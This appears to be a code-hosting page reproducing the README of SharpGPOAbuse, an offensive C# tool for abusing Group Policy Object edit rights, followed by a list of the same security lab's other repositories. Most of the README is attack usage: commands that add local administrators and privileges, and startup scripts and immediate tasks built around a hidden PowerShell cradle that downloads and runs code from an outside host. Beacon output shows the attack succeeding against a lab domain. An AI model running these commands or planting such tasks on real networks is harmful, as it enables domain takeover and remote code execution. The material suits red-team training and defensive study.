• Stars
    star
    1,017
  • Rank 44,902 (Top 0.9 %)
  • Language
    C#
  • Created over 5 years ago
  • Updated almost 4 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.

SharpGPOAbuse

SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.

More details can be found at the following blog post: https://labs.mwrinfosecurity.com/tools/sharpgpoabuse

Compile Instructions

Make sure the necessary NuGet packages are installed properly and simply build the project in Visual Studio.

Usage

Usage:
        SharpGPOAbuse.exe <AttackType> <AttackOptions>

Attacks Types

Currently SharpGPOAbuse supports the following options:

Option Description
--AddUserRights Add rights to a user
--AddLocalAdmin Add a user to the local admins group
--AddComputerScript Add a new computer startup script
--AddUserScript Configure a user logon script
--AddComputerTask Configure a computer immediate task
--AddUserTask Add an immediate task to a user

Attack Options

Adding User Rights

Options required to add new user rights:
--UserRights
        Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
        Set the account to add the new rights.
--GPOName
        The name of the vulnerable GPO.
        
Example:
        SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

Adding a Local Admin

Options required to add a new local admin:
--UserAccount
        Set the name of the account to be added in local admins.
--GPOName
        The name of the vulnerable GPO.

Example:
        SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

Configuring a User or Computer Logon Script

Options required to add a new user or computer startup script:
--ScriptName
        Set the name of the new startup script.
--ScriptContents
        Set the contents of the new startup script.
--GPOName
        The name of the vulnerable GPO.

Example: 
        SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

If you want to run the malicious script only on a specific user or computer controlled by the vulnerable GPO, you can add an if statement within the malicious script:

SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Configuring a Computer or User Immediate Task

Options required to add a new computer or user immediate task:

--TaskName
        Set the name of the new computer task.
--Author
        Set the author of the new task (use a DA account).
--Command
        Command to execute.
--Arguments
        Arguments passed to the command.
--GPOName
        The name of the vulnerable GPO.

Additional User Task Options:
--FilterEnabled
        Enable Target Filtering for user immediate tasks.
--TargetUsername
        The user to target. The malicious task will run only on the specified user. Should be in the format <DOMAIN>\<USERNAME>
--TargetUserSID
        The targeted user's SID.

Additional Computer Task Options:
--FilterEnabled
        Enable Target Filtering for computer immediate tasks.
--TargetDnsName
        The DNS name of the computer to target. The malicious task will run only on the specified host.
        
Example: 
        SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

If you want to run the malicious task only on a specific user or computer controlled by the vulnerable GPO you can use something similar to the following:

SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com

Additional Options

Option Description
--DomainController Set the target domain controller
--Domain Set the target domain
--Force Overwrite existing files if required

Example Output

beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!

More Repositories

1

dref

DNS Rebinding Exploitation Framework
JavaScript
482
star
2

KernelFuzzer

Cross Platform Kernel Fuzzer Framework
C
440
star
3

win_driver_plugin

A tool to help when dealing with Windows IOCTL codes or reversing Windows drivers.
Python
417
star
4

wePWNise

WePWNise generates architecture independent VBA code to be used in Office documents or templates and automates bypassing application control and exploit mitigation software.
Python
350
star
5

OSXFuzz

macOS Kernel Fuzzer
C
249
star
6

Azurite

Enumeration and reconnaissance activities in the Microsoft Azure Cloud.
PowerShell
247
star
7

Ninjasploit

A meterpreter extension for applying hooks to avoid windows defender memory scans
C
230
star
8

z3_and_angr_binary_analysis_workshop

Code and exercises for a workshop on z3 and angr
Python
209
star
9

SharpClipHistory

SharpClipHistory is a .NET application written in C# that can be used to read the contents of a user's clipboard history in Windows 10 starting from the 1809 Build.
C#
188
star
10

XRulez

A command line tool for creating malicious outlook rules
C
156
star
11

drozer-modules

Python
139
star
12

ViridianFuzzer

Kernel driver to fuzz Hyper-V hypercalls
C++
132
star
13

incognito

One Token To Rule Them All https://labs.mwrinfosecurity.com/blog/incognito-v2-0-released/
C
129
star
14

CVE-2018-4121

macOS 10.13.3 (17D47) Safari Wasm Exploit
JavaScript
120
star
15

GWTMap

Python
90
star
16

CVE-2016-7255

An exploit for CVE-2016-7255 on Windows 7/8/8.1/10(pre-anniversary) 64 bit
C++
84
star
17

N1QLMap

The tool exfiltrates data from Couchbase database by exploiting N1QL injection vulnerabilities.
Python
72
star
18

SharpGPO-RemoteAccessPolicies

A C# tool for enumerating remote access policies through group policy.
C#
71
star
19

defcon25_uac_workshop

UAC 0Day all day!
58
star
20

3d-accelerated-exploitation

3D Accelerated Exploitation
C
55
star
21

Athena

GUI Tool to generate threat intelligence information in various formats
C#
44
star
22

honeypot_recipes

A chef cookbook which can be used to quickly deploy a high interaction honeypot, using the sysdig and falco tools
Ruby
43
star
23

needle-agent

The iOS Agent for the Needle Security Assessment Framework
Objective-C
41
star
24

CalendarPersist

JXA script to allow programmatic persistence via macOS Calendar.app alerts.
JavaScript
41
star
25

coralsun

macOS Cython IOKit Utility Library
Python
40
star
26

avrop

ROP based Movfuscator VM
Assembly
29
star
27

mercury-modules

Extra modules for the Mercury Android Security Assessment Framework.
Python
25
star
28

jASMin

Python
24
star
29

fdpasser

Example of passing file descriptors into a container to perform a privilege escalation on the host
C
23
star
30

tapjacking-poc

Java
23
star
31

fingertec-tool

A tool for communicating with FingerTec access control devices, as well as other ZKTeco based devices
Python
21
star
32

gists

Short handy snippets from the @mwrlabs team
PowerShell
20
star
33

timeinator

Timeinator is an extension for Burp Suite that can be used to perform timing attacks over an unreliable network such as the internet.
Python
20
star
34

weasel

C
19
star
35

veripy

a network-centric compliance testing framework for verifying the operation of network equipment against the RFCs specified in ripe-554
Python
12
star
36

Ellume-COVID-Test_Research-Files

Java
11
star
37

jar-agent

Java
9
star
38

mercury-common

This repository contains Mercury components that are shared between the Agent and the Server/Console.
9
star
39

Cisco-UCM-SQLi-Scripts

Scripts that can be used to exploit CVE-2019-15972 which was an Authenticated SQLi issue in Cisco Unified Call Manager (UCM).
Python
8
star
40

mwr-tls

A collection of utilities for interacting with SSL and X509 Certificates on Android.
Java
8
star
41

bsides18_breakfree

Example tools and output from BSides 2018 "I Want to Break Free"
Python
7
star
42

rogue-agent

Java
5
star
43

ByteConverter

C++
1
star
44

Re-Desk-v2.3-Vulnerabilities

Python
1
star